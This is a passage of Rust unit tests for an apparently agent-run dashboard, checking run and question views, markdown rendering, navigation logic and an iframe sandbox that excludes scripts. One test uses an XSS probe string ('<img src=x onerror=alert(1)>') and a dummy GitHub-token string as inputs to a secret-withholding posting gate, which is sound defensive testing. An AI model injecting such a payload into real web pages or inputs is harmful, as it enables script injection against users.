18389            value["stop_reason"],
18390            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
18391        );
18392    }
18393
18394    #[test]
18395    fn the_run_detail_payload_says_whether_the_run_is_done() {
18396        // `landView` reads `run.done`; the detail response must carry it.
18397        for (status, done) in [
18398            (RunStatus::Superseded, true),
18399            (RunStatus::Blocked, true),
18400            (RunStatus::Landing, false),
18401        ] {
18402            let mut state = RunState::new(
18403                std::path::PathBuf::from("/repo"),
18404                "main".to_owned(),
18405                "abc".to_owned(),
18406                "x".to_owned(),
18407                crate::config::Config::default(),
18408            );
18409            state.status = status;
18410            let v = serde_json::to_value(RunDetailView::of(
18411                state,
18412                false,
18413                crate::run::Liveness::Unknown,
18414                None,
18415                None,
18416                None,
18417            ))
18418            .unwrap();
18419            assert_eq!(v["done"], done, "{status:?}");
18420        }
18421    }
18422
18423    /// The first node of a markdown block holds a `strong` somewhere.
18424    fn has_strong(nodes: &[md::Node]) -> bool {
18425        serde_json::to_string(nodes).unwrap().contains("strong")
18426    }
18427
18428    #[test]
18429    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
18430        let mut state = RunState::new(
18431            std::path::PathBuf::from("/repo"),
18432            "main".to_owned(),
18433            "abc".to_owned(),
18434            "x".to_owned(),
18435            crate::config::Config::default(),
18436        );
18437        let proposal = |approach: &str| {
18438            serde_json::json!({
18439                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
18440            })
18441        };
18442        state.advice = Some(
18443            serde_json::from_value(serde_json::json!({
18444                "records": [
18445                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
18446                     "proposal": proposal("do **this**")},
18447                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
18448                ],
18449                "synthesis": "- one\n- **two**\n\n`code`",
18450            }))
18451            .unwrap(),
18452        );
18453        state.candidates = serde_json::from_value(serde_json::json!([
18454            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
18455             "summary": "did **it**"},
18456            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
18457        ]))
18458        .unwrap();
18459        // Recorded in ascending severity, the reverse of how the page sorts
18460        // them: the arrays must follow the record, not the display.
18461        state.reviews = serde_json::from_value(serde_json::json!([{
18462            "round": 1, "head": "h",
18463            "reviews": [{
18464                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
18465                "findings": [
18466                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
18467                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
18468                ],
18469            }],
18470            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
18471            "fix": {"agent": "a", "notes": "fixed **it**",
18472                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
18473        }, {"round": 2, "head": "h2", "reviews": []}]))
18474        .unwrap();
18475
18476        let v = serde_json::to_value(RunDetailView::of(
18477            state,
18478            false,
18479            crate::run::Liveness::Unknown,
18480            None,
18481            None,
18482            None,
18483        ))
18484        .unwrap();
18485
18486        let strong = |p: &str| {
18487            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
18488            assert!(n.to_string().contains("strong"), "{p}: {n}");
18489        };
18490        strong("/advice_md/synthesis");
18491        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
18492        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
18493        strong("/advice_md/approaches/0");
18494        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
18495        strong("/candidate_summaries_md/0");
18496        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
18497        strong("/reviews_md/0/reviewers/0/summary");
18498        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
18499        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
18500        assert!(f[1].to_string().contains("strong"));
18501        strong("/reviews_md/0/reconsideration/0");
18502        strong("/reviews_md/0/fix/notes");
18503        strong("/reviews_md/0/fix/rejected/0");
18504        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
18505        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
18506        // The raw strings stay, and no schema moved.
18507        assert_eq!(v["candidates"][0]["summary"], "did **it**");
18508        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
18509    }
18510
18511    #[test]
18512    fn a_run_without_advice_has_no_advice_md() {
18513        let state = RunState::new(
18514            std::path::PathBuf::from("/repo"),
18515            "main".to_owned(),
18516            "abc".to_owned(),
18517            "x".to_owned(),
18518            crate::config::Config::default(),
18519        );
18520        let p = run_prose_md(&state);
18521        assert!(p.advice_md.is_none());
18522        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
18523    }
18524
18525    #[test]
18526    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
18527        let store = ask::Questions::at(PathBuf::from("unused"));
18528        let gt = crate::github_text::Withheld {
18529            title: false,
18530            body: true,
18531            categories: vec!["sensitive-data".into()],
18532        };
18533        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
18534        let (detail, comparison) =
18535            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
18536        let mut q = Question::new(
18537            "r".into(),
18538            "github-text".into(),
18539            "posting-gate".into(),
18540            "s".into(),
18541            detail,
18542            Vec::new(),
18543        );
18544        assert!(
18545            QuestionView::of(q.clone(), &store, None)
18546                .posting_view
18547                .is_none()
18548        );
18549        q.posting_comparison = Some(comparison);
18550        let view = QuestionView::of(q.clone(), &store, None);
18551        let field = &view.posting_view.unwrap().fields[0];
18552        assert_eq!(
18553            field
18554                .original
18555                .iter()
18556                .map(|f| f.text.as_str())
18557                .collect::<String>(),
18558            body
18559        );
18560        assert!(field.original[0].text.starts_with("<img"));
18561        let original_question: Question =
18562            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
18563        assert_eq!(original_question, q);
18564        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
18565            .original
18566            .start = 1;
18567        assert!(
18568            QuestionView::of(q.clone(), &store, None)
18569                .posting_view
18570                .is_none()
18571        );
18572        q.posting_comparison = original_question.posting_comparison;
18573        q.detail.push_str("extra context");
18574        assert!(
18575            QuestionView::of(q.clone(), &store, None)
18576                .posting_view
18577                .is_some()
18578        );
18579        q.detail.insert(0, 'x');
18580        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
18581    }
18582
18583    #[test]
18584    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
18585        let store = ask::Questions::at(PathBuf::from("unused"));
18586        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
18587        let gt = crate::github_text::Withheld::from_check(
18588            &crate::github_text::check("fix: x", body),
18589            "fix: x",
18590            body,
18591        )
18592        .unwrap();
18593        let (detail, comparison) =
18594            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
18595        let mut q = Question::new(
18596            "r".into(),
18597            "github-text".into(),
18598            "posting-gate".into(),
18599            "s".into(),
18600            detail,
18601            Vec::new(),
18602        );
18603        q.posting_comparison = Some(comparison);
18604        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
18605        let field = &value["posting_view"]["fields"][0];
18606        let group = &field["replacement_group"];
18607        let triggers = group["triggers"].as_array().unwrap();
18608        assert_eq!(triggers.len(), 2);
18609        assert_ne!(triggers[0], triggers[1]);
18610        for id in triggers {
18611            assert!(
18612                field["original"]
18613                    .as_array()
18614                    .unwrap()
18615                    .iter()
18616                    .any(|f| &f["pair"] == id)
18617            );
18618            assert!(
18619                !field["changed"]
18620                    .as_array()
18621                    .unwrap()
18622                    .iter()
18623                    .any(|f| &f["pair"] == id)
18624            );
18625        }
18626        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
18627            group["id"].as_u64().unwrap() as usize;
18628        assert!(
18629            QuestionView::of(q, &store, None).posting_view.is_none(),
18630            "group and trigger IDs cannot collide"
18631        );
18632    }
18633
18634    #[test]
18635    fn a_question_view_carries_markdown_for_each_thread_turn() {
18636        let home = TempDir::new().unwrap();
18637        let store = ask::Questions::at(home.path().join("questions"));
18638        let mut q = Question::new(
18639            "run".to_owned(),
18640            "implement".to_owned(),
18641            "impl-A".to_owned(),
18642            "which?".to_owned(),
18643            String::new(),
18644            Vec::new(),
18645        );
18646        q.say("plain words").unwrap();
18647        q.reply("use **this**", Vec::new()).unwrap();
18648        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18649        let bodies = &v["thread_bodies_md"];
18650        assert_eq!(bodies.as_array().unwrap().len(), 2);
18651        assert!(!bodies[0].to_string().contains("strong"));
18652        assert!(bodies[1].to_string().contains("strong"));
18653    }
18654
18655    #[test]
18656    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
18657        let home = TempDir::new().unwrap();
18658        let store = ask::Questions::at(home.path().join("questions"));
18659        let mut q = Question::new(
18660            "run".to_owned(),
18661            "conduct".to_owned(),
18662            "conduct".to_owned(),
18663            "which?".to_owned(),
18664            String::new(),
18665            Vec::new(),
18666        );
18667        q.say("plain words").unwrap();
18668        q.thread.push(ask::Turn {
18669            who: ask::Who::Agent,
18670            body: "Settled as `merge`".to_owned(),
18671            at: jiff::Timestamp::now(),
18672            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
18673        });
18674        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18675        let notes = &v["thread_notes_md"];
18676        assert_eq!(notes.as_array().unwrap().len(), 2);
18677        assert!(notes[0].is_null());
18678        let text = notes[1].to_string();
18679        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
18680        assert!(APP_JS.contains("ask-turn-note"));
18681    }
18682
18683    #[test]
18684    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
18685        // The land panel defers to `run.status` for merged, and labels a
18686        // recorded-open PR on any finished run (superseded, blocked, ...) as
18687        // last seen, never as live state.
18688        assert!(APP_JS.contains("function landView(run, raw) {"));
18689        assert!(
18690            APP_JS.contains(
18691                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
18692            )
18693        );
18694        assert!(APP_JS.contains("const pr = landView(run, raw);"));
18695        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
18696        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
18697        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
18698    }
18699
18700    #[test]
18701    fn live_runs_are_never_hidden_or_folded_as_superseded() {
18702        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
18703        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
18704        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
18705        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
18706    }
18707
18708    #[test]
18709    fn review_rounds_label_a_distinct_verified_head() {
18710        assert!(APP_JS.contains("round.verified_head"));
18711        assert!(APP_JS.contains("verified HEAD"));
18712        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
18713    }
18714
18715    #[test]
18716    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
18717        // A blocked task's chip and note must not fall back to a queued-like
18718        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
18719        // itself by e11fc58 but never checked here.
18720        assert!(APP_JS.contains("blocked: { glyph:"));
18721        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
18722
18723        // `blocked_by` mixes task ids and question ids in the same list, and
18724        // the client can only tell them apart by checking each id against
18725        // what it actually knows - never by guessing from the id's shape.
18726        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
18727        assert!(
18728            APP_JS.contains(
18729                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
18730            ),
18731            "the note line must name what a blocked task is waiting on, not just that it is blocked"
18732        );
18733        // The classification must key off `status_str`, never off `blocked_by`
18734        // or `block_reason` merely being present - both can survive briefly
18735        // on a task a hold or a dead daemon just moved off `blocked`.
18736        assert!(APP_JS.contains("if (status === \"blocked\") {"));
18737
18738        // A question a task is blocked on gets its own node in the same
18739        // dependency graph, not just a task-shaped node with nothing known
18740        // about it.
18741        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
18742        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
18743        assert!(
18744            APP_JS.contains("location.hash = \"#/questions\";"),
18745            "a question node must jump to the Questions screen, not pretend to be a task"
18746        );
18747
18748        // `Task::answers` - decisions already made - are shown as a record on
18749        // the card, the same disclosure style as the full instruction.
18750        assert!(APP_JS.contains("Resolved questions"));
18751        assert!(APP_JS.contains("r.answersList.append("));
18752        assert!(APP_CSS.contains(".task-answers"));
18753        {
18754            let start = APP_JS
18755                .find("function updateTalkTaskRow")
18756                .expect("updateTalkTaskRow");
18757            let body = &APP_JS[start..];
18758            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
18759            assert!(
18760                body.contains(
18761                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
18762                ),
18763                "a chat-filed task row must link to the task page"
18764            );
18765            assert!(
18766                !body.contains("#/runs/") && !body.contains("#/queue/"),
18767                "the row must not branch to a run or the queue card"
18768            );
18769            assert!(APP_CSS.contains(".talk-task-link"));
18770        }
18771    }
18772
18773    #[test]
18774    fn a_task_notification_links_to_the_task_page() {
18775        // A task notice opens the task detail page, not the Backlog card.
18776        let start = APP_JS
18777            .find("function noticeLink(")
18778            .expect("noticeLink exists");
18779        let body = &APP_JS[start..];
18780        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
18781        assert!(
18782            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
18783            "a task notice's link must target the task page"
18784        );
18785        assert!(
18786            !body.contains("#/queue/"),
18787            "regression: the task link must not go back to the Backlog route"
18788        );
18789        assert!(
18790            APP_JS.contains(
18791                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18792            ),
18793            "`#/tasks/<id>` must parse into the task route"
18794        );
18795
18796        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
18797        assert!(
18798            APP_JS.contains(
18799                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18800            ),
18801            "`#/queue/<id>` must parse into a route carrying that id"
18802        );
18803
18804        // And the Backlog view has to actually land on the card once it can
18805        // - see consumeQueueFocus(), which renderQueue() calls on every pass
18806        // so a focus set before the queue has loaded is retried once it has.
18807        assert!(APP_JS.contains("state.queueFocus = route.id;"));
18808        assert!(APP_JS.contains("function consumeQueueFocus()"));
18809        assert!(APP_JS.contains("jumpToTask(id)"));
18810    }
18811
18812    #[test]
18813    fn notifications_distinguish_actionable_questions_from_informational_notices() {
18814        let start = APP_JS
18815            .find("function noticeCoveredBy(")
18816            .expect("noticeCoveredBy exists");
18817        let body = &APP_JS[start..];
18818        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18819
18820        // Historical associations are informational, even for open questions.
18821        assert!(body.contains("Associated question ${short}"));
18822        assert!(!body.contains("el(\"a\""));
18823
18824        // A resolved question displays status rather than an actionable link
18825        assert!(body.contains("(resolved)"));
18826        assert!(body.contains("(closed)"));
18827
18828        let start = APP_JS
18829            .find("function renderNotifications()")
18830            .expect("renderNotifications exists");
18831        let body = &APP_JS[start..];
18832        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
18833
18834        // Only a server-resolved answerable question supplies a response link.
18835        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
18836        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
18837        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
18838        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
18839    }
18840
18841    /// Chat rows are two lines at every width: the title alone, then the
18842    /// shrinkable secondary info.
18843    #[test]
18844    fn chat_rows_put_the_title_alone_on_the_first_line() {
18845        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
18846        assert!(APP_CSS.contains(
18847            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18848        ));
18849        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18850        assert!(APP_JS.contains("class: \"badge talk-unread\""));
18851    }
18852
18853    #[test]
18854    fn run_rows_put_the_title_alone_on_the_first_line() {
18855        assert!(
18856            APP_CSS.contains(
18857                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
18858            )
18859        );
18860        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18861        assert!(APP_JS.contains("class: \"card run-card\""));
18862        assert!(APP_JS.contains("class: \"repo run-id\""));
18863    }
18864
18865    /// Wide screens get a master/detail layout built from the views a phone
18866    /// drills into. These are string assertions: they pin the contract between
18867    /// the three assets, not how it looks.
18868    #[test]
18869    fn wide_screens_show_list_and_preview_side_by_side() {
18870        // One breakpoint, spelled the same in the script and the stylesheet.
18871        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18872        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18873        assert!(APP_CSS.contains("main[data-split]"));
18874        assert!(APP_CSS.contains("body[data-split]"));
18875
18876        // The route -> panes table, and a narrow screen opting out of it.
18877        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
18878        assert!(
18879            APP_JS.contains(
18880                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18881            )
18882        );
18883        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18884        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18885        assert!(INDEX_HTML.contains("id=\"split-empty\""));
18886
18887        // Selection is derived from the route, and only ever paints a row.
18888        assert!(APP_JS.contains("function markSelected() {"));
18889        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18890        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18891        // The dense row must override the stacked card the 720px block sets up.
18892        assert!(
18893            APP_CSS.contains(
18894                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18895            )
18896        );
18897
18898        // Independent scrolling: the page stops scrolling, each pane does.
18899        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18900        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18901        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18902        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18903
18904        // A refresh must never navigate: the loaders still check that their
18905        // subject is the one on screen, and crossing the breakpoint only
18906        // re-reads the hash.
18907        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18908        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18909        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18910        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18911
18912        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
18913        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18914    }
18915
18916    #[test]
18917    fn panel_sandbox_carries_exactly_popups() {
18918        let needle = "sandbox: \"";
18919        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18920        assert_eq!(
18921            matches.len(),
18922            1,
18923            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18924        );
18925        let start = matches[0].0 + needle.len();
18926        let end = APP_JS[start..]
18927            .find('"')
18928            .expect("sandbox attribute value must be terminated by a closing quote");
18929        let val = &APP_JS[start..start + end];
18930        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18931        let expected: std::collections::BTreeSet<&str> =
18932            ["allow-popups", "allow-popups-to-escape-sandbox"]
18933                .into_iter()
18934                .collect();
18935        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18936        assert!(
18937            !tokens.contains("allow-scripts"),
18938            "allow-scripts must never be present in sandbox"
18939        );
18940        assert!(
18941            !tokens.contains("allow-same-origin"),
18942            "allow-same-origin must never be present in sandbox"
18943        );
18944    }
18945
18946    #[test]
18947    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18948        // consumeQueueFocus() clears an active Backlog search before it can
18949        // scroll to the target card (the sections list is hidden while a
18950        // search is showing), by recursing back into renderQueue(). The
18951        // fixer's first cut nulled state.queueFocus before that recursive
18952        // call, so the second pass saw nothing to jump to and the jump was
18953        // silently dropped whenever a notification's link was opened with a
18954        // stale search still active. state.queueFocus must only be cleared
18955        // right before jumpToTask() actually runs.
18956        assert!(
18957            APP_JS.contains(
18958                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
18959            ),
18960            "the search-clearing branch must run before state.queueFocus is cleared, or the \
18961             recursive renderQueue() call has nothing left to jump to"
18962        );
18963        assert!(
18964            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18965            "state.queueFocus must be cleared only once the jump has landed, so a card that \
18966             arrives later still gets it"
18967        );
18968        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18969        assert!(APP_JS.contains("is not in the current Backlog."));
18970        assert!(APP_JS.contains("li.card[data-task-id=\""));
18971        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18972        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18973        assert!(APP_CSS.contains(".card-permalink"));
18974        assert!(APP_CSS.contains(".queue-focus-status"));
18975        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18976    }
18977
18978    #[test]
18979    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18980        // The task's own repro: only the link text inside .notice-meta was
18981        // clickable, so a tap on the message, the timestamp, or the card's
18982        // padding did nothing - on a phone that reads as "the card doesn't
18983        // work" even though the tiny link inside it did. Mark read / Dismiss
18984        // must keep working independently of this: `.closest("a, button")`
18985        // is what lets a tap that actually lands on those elements fall
18986        // through instead of being hijacked into a navigation.
18987        assert!(
18988            APP_JS.contains(
18989                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18990            ),
18991            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18992        );
18993    }
18994
18995    #[test]
18996    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18997        assert!(
18998            APP_JS.contains("round.verified_head !== round.head"),
18999            "a round that verified an earlier commit must be visibly distinct from one that \
19000             verified the head reviewers are looking at now"
19001        );
19002        assert!(
19003            APP_JS.contains("round.verified_at"),
19004            "when a check ran must be on the wire, not just which commit"
19005        );
19006        assert!(
19007            APP_JS.contains("resource_blocked"),
19008            "a command magi never got to run (shared build cache contention) must not render \
19009             the same as a command that ran and failed"
19010        );
19011    }
19012
19013    #[test]
19014    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19015        // Every KPI tile but Total runs and Completion names an exact
19016        // RunStatus and hands it to openRunsFiltered(), which is what wires
19017        // the click into state.runsFilter.status (matchesFilter's own
19018        // status check) rather than the coarser runsStateFilter chips. Each
19019        // status literal here must be one of the strings runSection() (and
19020        // isStale()) actually compare a run's own `status` field against -
19021        // a status this dashboard invented would filter to nothing.
19022        assert!(
19023            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19024            "every KPI tile built through statusTile() must route its click through \
19025             openRunsFiltered, the single place that sets the Runs filter"
19026        );
19027        for (label, status) in [
19028            ("Merged", "merged"),
19029            ("Ready", "ready"),
19030            ("Blocked", "blocked"),
19031            ("Stalled", "stalled"),
19032        ] {
19033            let call = format!("statusTile(\"{label}\", t.{status}, ");
19034            assert!(
19035                APP_JS.contains(&call),
19036                "expected the {label} KPI tile built via {call}..."
19037            );
19038            assert!(
19039                APP_JS.contains(&format!("status === \"{status}\"")),
19040                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19041                 compare a run against, not one invented only for the stats tile"
19042            );
19043        }
19044        assert!(
19045            APP_JS.contains("function openRunsFiltered(status)"),
19046            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19047        );
19048        assert!(
19049            APP_JS.contains(
19050                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19051            ),
19052            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19053        );
19054        // applyRoute() only flips which view is visible for a plain `#runs`
19055        // hash - it does not itself redraw the list (see applyRoute's own
19056        // handling below) - so openRunsFiltered must call renderRuns()
19057        // itself, and must call applyRoute() too so the view flips even
19058        // when the hash string doesn't change (the operator may already be
19059        // on the Runs view when a tile is tapped, which fires no
19060        // hashchange event at all).
19061        assert!(
19062            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
19063            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19064             hashchange event that may never fire"
19065        );
19066    }
19067
19068    #[test]
19069    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19070        // A stats tile can leave state.runsFilter.status set to something
19071        // done-by-construction (e.g. "merged") - picking "Active" afterward
19072        // must drop it the same way an incompatible tree section is already
19073        // dropped, or the Runs list renders permanently empty with no way
19074        // for the operator to tell why.
19075        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19076        assert!(
19077            APP_JS.contains(
19078                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
19079            ),
19080            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19081             guard for an incompatible tree section"
19082        );
19083    }
19084
19085    #[test]
19086    fn every_stats_queue_tile_names_a_real_queue_section() {
19087        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
19088        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
19089        // (consumeQueueSectionFocus finds no matching <details> and drops
19090        // the focus) rather than fail loudly, so pin every key against the
19091        // section list it has to resolve against.
19092        assert!(
19093            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19094            "every queue tile built through sectionTile() must route its click through \
19095             openQueueSectionFocus"
19096        );
19097        for key in ["upnext", "running", "done", "held", "blocked"] {
19098            assert!(
19099                APP_JS.contains(&format!("{{ key: \"{key}\",")),
19100                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19101            );
19102        }
19103        // Queued and Failed intentionally both resolve to "upnext" - the
19104        // same section queueSection() itself files them under - rather than
19105        // getting a section each.
19106        for line in [
19107            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19108            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19109            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19110            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19111            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19112            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19113        ] {
19114            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19115        }
19116    }
19117
19118    #[test]
19119    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19120        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
19121        // above for the section-focus channel a stats queue tile drives:
19122        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
19123        // through the stale-search-clear recursion into renderQueue(), and
19124        // clear it only once revealQueueSection() is actually about to run -
19125        // the same trap that once silently dropped a task-focus jump.
19126        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
19127        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
19128        assert!(APP_JS.contains("function revealQueueSection(details)"));
19129        assert!(
19130            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
19131            "renderQueue() must consume both focus channels on every pass"
19132        );
19133        assert!(
19134            APP_JS.contains(
19135                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
19136            ),
19137            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
19138             the recursive renderQueue() call has nothing left to reveal"
19139        );
19140        assert!(
19141            APP_JS.contains(
19142                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
19143            ),
19144            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
19145        );
19146        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
19147        // task-focus form of the hash - a plain `#queue` navigation only
19148        // flips which view is visible. openQueueSectionFocus() must
19149        // therefore call renderQueue() itself, and applyRoute() too so the
19150        // view flips even when the hash doesn't change (the Backlog may
19151        // already be open when a tile is tapped, firing no hashchange
19152        // event at all).
19153        assert!(
19154            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
19155            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
19156             hashchange event that may never fire"
19157        );
19158    }
19159
19160    #[tokio::test]
19161    async fn the_change_stream_announces_the_current_revisions_on_connect() {
19162        let f = Fixture::start().await;
19163
19164        let mut socket = tokio::net::TcpStream::connect(f.addr)
19165            .await
19166            .expect("connect");
19167        socket
19168            .write_all(
19169                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
19170            )
19171            .await
19172            .expect("write request");
19173
